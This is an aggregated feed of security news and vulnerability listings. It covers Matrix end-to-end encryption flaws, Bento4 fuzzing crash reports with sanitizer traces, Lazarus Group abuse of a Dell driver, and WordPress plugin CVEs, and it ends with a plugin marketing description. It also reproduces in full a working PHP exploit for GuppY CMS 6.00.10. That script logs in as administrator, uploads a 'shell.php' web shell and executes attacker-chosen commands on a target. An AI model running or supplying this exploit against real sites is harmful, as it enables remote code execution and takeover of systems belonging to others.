Confidentiality and authentication flaws uncovered by researchers

Emma Woollacott 04 October 2022 at 14:49 UTC  
Updated: 04 October 2022 at 16:00 UTC

Confidentiality and authentication flaws uncovered by researchers

Matrix has patched five serious vulnerabilities in its end-to-end encryption that break the confidentiality and authentication of messages.

The flaws would allow a malicious server to read user messages and impersonate devices.

Matrix currently has 69 million accounts in total, spread over around 100,000 servers. The technology provides a federated communication protocol, allowing clients with accounts on different Matrix servers – their homeservers – to exchange messages across the entire ecosystem.

The platform enables end-to-end encryption by default.

However, four researchers – Martin Albrecht of the Royal Holloway, University of London, Sofía Celi of Brave Software, Benjamin Dowling of the University of Sheffield, and Daniel Jones of the University of London – have demonstrated (PDF) five practically-exploitable flaws.

**Fairly straightforward**

The vulnerabilities, two of which are rated critical, undermine assurances of authentication and confidentiality normally offered by the Matrix platform.

"All our attacks require a malicious homeserver – the server where users create accounts – i.e., no external party could mount them because all Matrix communication between clients and servers and between servers for federation are protected by TLS," Albrecht told The Daily Swig.

Catch up with the latest encryption-related news and analysis

"Now, for a malicious homeserver, carrying out these attacks would have been easy. We have implemented proof-of-concept attacks for the vulnerabilities we reported, and these \[are\] usually fairly straightforward."

The first critical vulnerability, CVE-2022-39250, is key/device identifier confusion in SAS verification, a bug in matrix-js-sdk that confuses device IDs and cross-signing keys. “This could be exploited by a malicious server admin to break emoji-based verification when cross-signing is in use, authenticating themselves rather than the target user,” according to a security notice by the developers of Matrix.

The other critically-rate flaw, CVE-2022-39251, is a protocol-confusion bug that incorrectly accepts to-device messages encrypted by Megolm rather than Olm, attributing them to the Megolm sender rather than the actual sender. The vulnerability potentially allows an attacker to send fake keys in order to spoof historical messages from other users.

In addition, the flaw creates a means to add a malicious key backup to a user’s account in order to exfiltrate message keys. Matrix’s developers said this attack scenario, which would require certain unusual preconditions, has not been detected in the wild.

**Impersonation attack**

Meanwhile, a semi-trusted impersonation attack exploits a lack of verification in Element in order to send attacker-controlled Megolm sessions to a target device, falsely posing as a session of the device they wish to impersonate.

Another vulnerability allows a malicious homeserver to add users under their control to end-to-end encrypted rooms – where they can then decrypt future messages sent in the room. This happens because room management messages aren’t authenticated in the Matrix specification, meaning they can be faked by a rogue homeserver.

Lastly Matrix’s use of AES-CTR to encrypt attachments, secrets, and symmetric key backups was faulted for lacking cryptographical rigour. Not good but, as the researchers acknowledge, this IND-CCA break falls short of anything that would result in a practical attack.

The researchers conclude that some of the vulnerabilities reside in the Matrix protocol itself, saying that they highlight the need for a systematic and formal analysis of the cryptography in the Matrix standard.

**Enter the Matrix**

However, the developers of Matrix dispute this.

"We consider the protocol itself to be sound and our security processes to be robust," Matthew Hodgson, co-founder and project lead for Matrix and CEO/CTO at Element, told The Daily Swig.

"For instance, we’re currently in the middle of a series of public, independent audits of our next-gen SDKs \[software development kits\] from Least Authority, and it’s worth noting that our next-gen implementations are not vulnerable to the implementation bugs in question here."

Albrecht responded: "The Matrix developers have shared with us their plans for addressing the issues we argued about, so we are hopeful that eventually the right outcome – Matrix achieving the security guarantees that it promises – will be achieved."

Element offers the flagship client and prototype implementation of Matrix.

RELATED Let’s Encrypt builds infrastructure to support browser-based certificate revocation revival

Matrix address flaws that break message encryption assurances

Bento4 v1.6.0-639 was discovered to contain a memory leak in the AP4_AvcFrameParser::Feed function in mp4mux.

**Summary**

Hi there,  
These are some faults that maybe lead to serious consequences in mp4xx, the version of Bento4 is the latest (the newest master branch) and the operation system is Ubuntu 18.04.6 LTS (docker), these binary-crashes with the following.

**Bug1**

Detected memory leaks in mp4spilt:

    root@32345fj4sds:/fuzz-mp4split/mp4split# ./mp4split --video ../out/crashes/poc_split_1
    --video option specified, but no video track found
    
    =================================================================
    ==1889275==ERROR: LeakSanitizer: detected memory leaks
    
    Indirect leak of 592 byte(s) in 2 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x462e2f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462e2f)
        #3 0x48ef27 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4split/mp4split/mp4split+0x48ef27)
        #4 0x490c11 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4split/mp4split/mp4split+0x490c11)
    
    Indirect leak of 256 byte(s) in 1 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x45904a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x45904a)
        #3 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
        #4 0x46094f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x46094f)
        #5 0x4c4b30 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c4b30)
        #6 0x4c6558 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c6558)
        #7 0x40abba in main (/fuzz-mp4split/mp4split/mp4split+0x40abba)
        #8 0x7f88d878dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    Indirect leak of 224 byte(s) in 7 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x4c6558 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c6558)
        #3 0x40abba in main (/fuzz-mp4split/mp4split/mp4split+0x40abba)
        #4 0x7f88d878dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    Indirect leak of 192 byte(s) in 2 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
        #3 0x46094f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x46094f)
        #4 0x4c4b30 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c4b30)
        #5 0x4c6558 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c6558)
        #6 0x40abba in main (/fuzz-mp4split/mp4split/mp4split+0x40abba)
        #7 0x7f88d878dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    Indirect leak of 176 byte(s) in 2 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x46094f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x46094f)
        #3 0x4c4b30 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c4b30)
        #4 0x4c6558 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c6558)
        #5 0x40abba in main (/fuzz-mp4split/mp4split/mp4split+0x40abba)
        #6 0x7f88d878dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
                                                                                                   …… ……
    
    Indirect leak of 24 byte(s) in 1 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x4bdd4d in AP4_ElstAtom::Create(unsigned int, AP4_ByteStream&) (/fuzz-mp4split/mp4split/mp4split+0x4bdd4d)
        #3 0x45831c in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x45831c)
        #4 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
        #5 0x48ef27 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4split/mp4split/mp4split+0x48ef27)
        #6 0x48e726 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4split/mp4split/mp4split+0x48e726)
        #7 0x45dc8c in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x45dc8c)
        #8 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
        #9 0x48ef27 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4split/mp4split/mp4split+0x48ef27)
        #10 0x490c11 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4split/mp4split/mp4split+0x490c11)
    
    Indirect leak of 1 byte(s) in 1 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x771319 in AP4_DescriptorFactory::CreateDescriptorFromStream(AP4_ByteStream&, AP4_Descriptor*&) (/fuzz-mp4split/mp4split/mp4split+0x771319)
        #3 0x539cf7 in AP4_InitialObjectDescriptor::AP4_InitialObjectDescriptor(AP4_ByteStream&, unsigned char, unsigned int, unsigned int) (/fuzz-mp4split/mp4split/mp4split+0x539cf7)
        #4 0x7713f7 in AP4_DescriptorFactory::CreateDescriptorFromStream(AP4_ByteStream&, AP4_Descriptor*&) (/fuzz-mp4split/mp4split/mp4split+0x7713f7)
        #5 0x4e9d46 in AP4_IodsAtom::Create(unsigned int, AP4_ByteStream&) (/fuzz-mp4split/mp4split/mp4split+0x4e9d46)
        #6 0x4558fa in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x4558fa)
        #7 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
        #8 0x48ef27 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4split/mp4split/mp4split+0x48ef27)
        #9 0x490c11 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4split/mp4split/mp4split+0x490c11)
    
    SUMMARY: AddressSanitizer: 2750 byte(s) leaked in 39 allocation(s).
    
    

**Bug2**

SEGV on unknown address 0x000000000028 in mp4decrypt:

    root@23435332df4:/fuzz-mp4decrypt/mp4decrypt# ./mp4decrypt ../out/crashes/poc_decrypt_1 /dev/null
    WARNING: atom serialized to fewer bytes than declared size
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==2367709==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000028 (pc 0x0000005da294 bp 0x7ffcee6b84c0 sp 0x7ffcee6b6b60 T0)
    ==2367709==The signal is caused by a READ memory access.
    ==2367709==Hint: address points to the zero page.
        #0 0x5da294 in AP4_Processor::ProcessFragments(AP4_MoovAtom*, AP4_List<AP4_AtomLocator>&, AP4_ContainerAtom*, AP4_SidxAtom*, unsigned long long, AP4_ByteStream&, AP4_ByteStream&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5da294)
        #1 0x5f795d in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5f795d)
        #2 0x414e8b in main (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x414e8b)
        #3 0x7fdba0338c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
        #4 0x407b69 in _start (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x407b69)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5da294) in AP4_Processor::ProcessFragments(AP4_MoovAtom*, AP4_List<AP4_AtomLocator>&, AP4_ContainerAtom*, AP4_SidxAtom*, unsigned long long, AP4_ByteStream&, AP4_ByteStream&)
    ==2367709==ABORTING
    
    

**Bug3**

Detected memory leaks in mp4mux:

    root@wha446aq:/# ./Bento4/cmakebuild/mp4mux --track h264:poc_mp4mux_1 /dev/null
    ERROR: Feed() failed (-10)
    
    =================================================================
    ==17429==ERROR: LeakSanitizer: detected memory leaks
    
    Direct leak of 148 byte(s) in 1 object(s) allocated from:
        #0 0x4f5ce8 in operator new(unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:99
        #1 0x52d6b2 in AP4_AvcFrameParser::Feed(unsigned char const*, unsigned int, AP4_AvcFrameParser::AccessUnitInfo&, bool) (/Bento4/cmakebuild/mp4mux+0x52d6b2)
    
    SUMMARY: AddressSanitizer: 148 byte(s) leaked in 1 allocation(s).
    

**POC**

Bug\_1\_POC.zip  
Bug\_2\_POC.zip  
Bug\_3\_POC.zip

**Environment**

Ubuntu 18.04.6 LTS (docker)  
clang 12.0.1  
clang++ 12.0.1  
Bento4 master branch(5b7cc25) && Bento4 release version(1.6.0-639)

**Credit**

Xudong Cao (NCNIPC of China)  
Han Zheng (NCNIPC of China, Hexhive)  
Yuhang Huang (NCNIPC of China)  
Jiayuan Zhang (NCNIPC of China)

Thank you for your time!

CVE-2022-41427: Some vulnerabilities about mp4xx can cause serious errors · Issue #772 · axiomatic-systems/Bento4

Bento4 v1.6.0-639 was discovered to contain a memory leak via the AP4_Processor::Process function in the mp4encrypt binary.

**Summary**

Hi, developers of Bento4:  
I tested the binary mp4encrypt with my fuzzer, and a crash incurred, i.e., memory leaks error. The version of Bento4 is the latest (the newest master branch) and the operation system is Ubuntu 18.04.6 LTS (docker). The following is the details.

**Details**

    root@c08635047aea:/fuzz-mp4encrypt/mp4encrypt# ./mp4encrypt --method MARLIN-IPMP-ACBC ../out/crashes/id\:000007\,sig\:06\,src\:000001\,op\:flip1\,pos\:14136\,934837 /dev/null
    WARNING: track ID 1 will not be encrypted
    WARNING: atom serialized to fewer bytes than declared size
    
    =================================================================
    ==3055140==ERROR: LeakSanitizer: detected memory leaks
    
    Direct leak of 104 byte(s) in 1 object(s) allocated from:
        #0 0x9a1c90 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7fda31f4c297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x64923f in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x64923f)
        #3 0x42128c in main (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x42128c)
        #4 0x7fda31110c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    Indirect leak of 3328 byte(s) in 2 object(s) allocated from:
        #0 0x9a1c90 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7fda31f4c297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x5b2921 in AP4_MarlinIpmpEncryptingProcessor::Initialize(AP4_AtomParent&, AP4_ByteStream&, AP4_Processor::ProgressListener*) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x5b2921)
        #3 0x64923f in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x64923f)
        #4 0x42128c in main (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x42128c)
        #5 0x7fda31110c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    Indirect leak of 1024 byte(s) in 1 object(s) allocated from:
        #0 0x9a1c90 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7fda31f4c297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x8b62f9 in AP4_Expandable::Write(AP4_ByteStream&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x8b62f9)
        #3 0x5b2540 in AP4_MarlinIpmpEncryptingProcessor::Initialize(AP4_AtomParent&, AP4_ByteStream&, AP4_Processor::ProgressListener*) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x5b2540)
        #4 0x64923f in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x64923f)
        #5 0x42128c in main (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x42128c)
        #6 0x7fda31110c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    Indirect leak of 224 byte(s) in 5 object(s) allocated from:
        #0 0x9a1c90 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7fda31f4c297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x64923f in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x64923f)
        #3 0x42128c in main (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x42128c)
        #4 0x7fda31110c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    SUMMARY: AddressSanitizer: 4680 byte(s) leaked in 9 allocation(s).
    
    

**POC**

mp4encrypt\_poc1.zip

**Environment**

Ubuntu 18.04.6 LTS (docker)  
clang 12.0.1  
clang++ 12.0.1  
Bento4 master branch(5b7cc25) && Bento4 release version(1.6.0-639)

**Credit**

Xudong Cao (NCNIPC of China)  
Han Zheng (NCNIPC of China, Hexhive)

Thank you for your time!

CVE-2022-41419: Detected memory leaks in mp4encrypt · Issue #766 · axiomatic-systems/Bento4

The North Korea-backed Lazarus Group has been observed deploying a Windows rootkit by taking advantage of an exploit in a Dell firmware driver, highlighting new tactics adopted by the state-sponsored adversary.
The Bring Your Own Vulnerable Driver (BYOVD) attack, which took place in the autumn of 2021, is another variant of the threat actor's espionage-oriented activity called Operation In(ter)

The North Korea-backed Lazarus Group has been observed deploying a Windows rootkit by taking advantage of an exploit in a Dell firmware driver, highlighting new tactics adopted by the state-sponsored adversary.

The Bring Your Own Vulnerable Driver (BYOVD) attack, which took place in the autumn of 2021, is another variant of the threat actor's espionage-oriented activity called Operation In(ter)ception that's directed against aerospace and defense industries.

"The campaign started with spear-phishing emails containing malicious Amazon-themed documents and targeted an employee of an aerospace company in the Netherlands, and a political journalist in Belgium," ESET researcher Peter Kálnai said.

Attack chains unfolded upon the opening of the lure documents, leading to the distribution of malicious droppers that were trojanized versions of open source projects, corroborating recent reports from Google's Mandiant and Microsoft.

ESET said it uncovered evidence of Lazarus dropping weaponized versions of FingerText and sslSniffer, a component of the wolfSSL library, in addition to HTTPS-based downloaders and uploaders.

The intrusions also paved the way for the group's backdoor of choice dubbed BLINDINGCAN – also known as AIRDRY and ZetaNile – which an operator can use to control and explore compromised systems.

But what's notable about the 2021 attacks was a rootkit module that exploited a Dell driver flaw to gain the ability to read and write kernel memory. The issue, tracked as CVE-2021-21551, relates to a set of critical privilege escalation vulnerabilities in dbutil\_2\_3.sys.

"\[This\] represents the first recorded abuse of the CVE‑2021‑21551 vulnerability," Kálnai noted. "This tool, in combination with the vulnerability, disables the monitoring of all security solutions on compromised machines."

Named FudModule, the previously undocumented malware achieves its goals via multiple methods "either not known before or familiar only to specialized security researchers and (anti-)cheat developers," according to ESET.

"The attackers then used their kernel memory write access to disable seven mechanisms the Windows operating system offers to monitor its actions, like registry, file system, process creation, event tracing, etc., basically blinding security solutions in a very generic and robust way," Kálnai said. "Undoubtedly this required deep research, development, and testing skills."

This is not the first time the threat actor has resorted to using a vulnerable driver to mount its rootkit attacks. Just last month, AhnLab's ASEC detailed the exploitation of a legitimate driver known as "ene.sys" to disarm security software installed in the machines.

The findings are a demonstration of the Lazarus Group's tenacity and ability to innovate and shift its tactics as required over the years despite intense scrutiny of the collective's activities from both law enforcement and the broader research community.

"The diversity, number, and eccentricity in implementation of Lazarus campaigns define this group, as well as that it performs all three pillars of cybercriminal activities: cyber espionage, cyber sabotage, and pursuit of financial gain," the company said.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Hackers Exploiting Dell Driver Vulnerability to Deploy Rootkit on Targeted Computers

GuppY CMS version 6.00.10 suffers from an authenticated remote shell upload vulnerability.

    # Exploit Title: GuppY 6.00.10 CMS Remote Code Execution# Date: Sep 30, 2022# Exploit Author: Chokri Hammedi# Vendor Homepage: https://www.freeguppy.org/# Software Link:https://www.freeguppy.org/fgy6dn.php?lng=en&pg=279927&tconfig=0#z2# Version: 6.00.10# Tested on: Linux#!/usr/bin/php<?php$username = "Admin"; //Administrator username$password = "rose1337"; //Administrator password$options = getopt('u:c:');if(!isset($options['u'], $options['c']))die("\n GuppY 6.00.10 CMS Remote Code Execution \n Author: Chokri Hammedi\n \n Usage : php exploit.php -u http://target.org/ -c whoami\n\n\n");$target     =  $options['u'];$command    =  $options['c'];// Administrator login$cookie="cookie.txt";$url = "{$target}guppy/connect.php";$postdata = "connect=on&uuser=old&pseudo=".$username."&uid=".$password;$curlObj = curl_init();curl_setopt($curlObj, CURLOPT_URL, $url);curl_setopt($curlObj, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curlObj, CURLOPT_HEADER, 1);curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false);curl_setopt ($curlObj, CURLOPT_POSTFIELDS, $postdata);curl_setopt ($curlObj, CURLOPT_POST, 1);CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True);CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30);CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30);curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie");curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie");$result = curl_exec($curlObj);// uploading shell$url2 = "{$target}guppy/admin/admin.php?lng=en&pg=upload";$post='------WebKitFormBoundarygA1APFcUlkIaWal4Content-Disposition: form-data; name="rep"file------WebKitFormBoundarygA1APFcUlkIaWal4Content-Disposition: form-data; name="ficup"; filename="shell.php"Content-Type: application/x-php<?php system($_GET["cmd"]); ?>------WebKitFormBoundarygA1APFcUlkIaWal4--';$headers = array(            'Content-Type: multipart/form-data;boundary=----WebKitFormBoundarygA1APFcUlkIaWal4',            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',            'Accept-Encoding: gzip, deflate',            'Accept-Language: en-US,en;q=0.9');curl_setopt($curlObj, CURLOPT_HTTPHEADER, $headers);curl_setopt($curlObj, CURLOPT_URL, $url2);curl_setopt($curlObj, CURLOPT_POSTFIELDS, $post);curl_setopt($curlObj, CURLOPT_POST, true);curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false);CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True);CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30);CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30);curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie");curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie");$data = curl_exec($curlObj);// Executing the shell$shell = "{$target}guppy/file/shell.php?cmd=" .$command;curl_setopt($curlObj, CURLOPT_URL, $shell);curl_setopt($curlObj, CURLOPT_HTTPHEADER, array('Content-Type:application/x-www-form-urlencoded'));curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, False);CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);curl_setopt($curlObj, CURLOPT_HEADER, False);curl_setopt($curlObj, CURLOPT_POST, false);$exec_shell = curl_exec($curlObj);$code = curl_getinfo($curlObj, CURLINFO_HTTP_CODE);if($code != 200) {    echo "\n\n \e[5m\033[31m[-]Something went wrong! \n [-]Please check thecredentials\n";}else {print("\n");print($exec_shell);}curl_close($curlObj);?>

GuppY CMS 6.00.10 Shell Upload

Insecure direct object references (IDOR) vulnerability in ExpressTech Quiz And Survey Master plugin <= 7.3.4 at WordPress allows attackers to change the content of the quiz.

CVE-2021-36865: Quiz And Survey Master – Best Quiz, Exam and Survey Plugin for WordPress

Cross-Site Scripting (XSS) via Cross-Site Request Forgery (CSRF) vulnerability in Booking Ultra Pro plugin <= 1.1.4 at WordPress.

*   Details
*   Reviews
*   Installation
*   Support
*   Development

Booking Ultra Pro offers a great suite of features that will help you manage your online appointments 24/7 whether you are a large educational institution scheduling thousands of students or a massage therapists with a part-time practice.

Booking Ultra Pro is a WordPress appointment scheduling plugin that allows your customers to book appointments for your services directly from your website giving your customers a seamless booking experience. The unique 4 steps booking process will help you to attract new customers and generate repeat business from existing ones. All customer details are stored so you can run promotions and market directly to them.

Check out the Standard Appointments Form for more information!

Check out the Staff List Page.  
Check out the Minimal Booking Form Layout.  
Check out the Shopping Cart.

This Appointments Plugin for WordPress is an inspired scheduling plugin that puts the power of booking into your clients’ hands while giving yourself and your team individual accounts to manage your own services, calendars, rates, and much more. Whether your business is already booming or you’re trying to grow, this WordPress plugin can help you. With a variety of packages offered to fit your business’s needs, Booking Ultra Pro eliminates the hassle of personally scheduling clients and increases customer satisfaction by offering 24/7 online appointment booking right at their fingertips.

This plugin helps you to manage appointments by giving your staff members their own profile and access without giving them access to your WordPress Dashboard. This simplifies the appointment process and presents a good first impression to your clients. From the Staff Backend and Profile feature, your staff is able to manage breaks, holidays, schedules, their services, appointments, rates, public profile, and even the ability to connect to Google calendar. The best part? Booking Ultra Pro is easy to use and CUSTOMIZABLE, giving your employees supervised freedom. Customize your text and color, booking form layouts, hide or add staff, manage multiple locations, and your shopping cart!

In addition to the Staffing Backend and Profile, a variety of add-ons such as group booking functions, mobile payment options for clients, appointment notes, and much more are available to fit your needs. Plus, a clean, minimal theme will greet your customer’s and provide them with a functional, maintained environment to complete their bookings. They will also have the ability to use the shopping cart feature to purchase multiple services at once, making it just that much easier to increase business.

**So, what makes Booking Ultra Pro the superior WordPress plugin?**

Aside from a time and money saving service, Booking Ultra Pro offers you full support for any of your technical inquiries via our email service. This makes it easy for you to contact our team at any time. Plus, regular updates are offered. With customizable features and colors that are adaptable to any WordPress theme and optional add-ons for all your needs, we offer a product that can’t be beat. We strive to maintain a high level of customer satisfaction.

Plus, the Booking Ultra Pro plugin can be used for any and every type of services. Are you in big business? Maybe a lawyer or stock broker, Booking Ultra Pro is for you! Oh, you’re a doctor? That’s wonderful, and Booking Ultra Pro is for you! You own a Beauty Salon and want to make booking easier for your clients? BOOKING ULTRA PRO IS FOR YOU! Our packages give everyone just what they need.

Check out the demo site for more information!

**Documentation**

Read the getting started documentation after you install the plugin to get started.

**Self Service Bookings**

Allow customers to view availability and book directly from your own website.

**Instant Payment Processing**

Easily accept online bookings and credit card payments for your bookings. You can use either PayPal or Stripe to process your payments.

**Automate Billing & Invoices**

Instantly send customers customizable receipts and booking invoices.

**Key Features**

*   PayPal Integration
*   Client Online Appointment
*   Admin Online Appointment
*   Appointment Payments
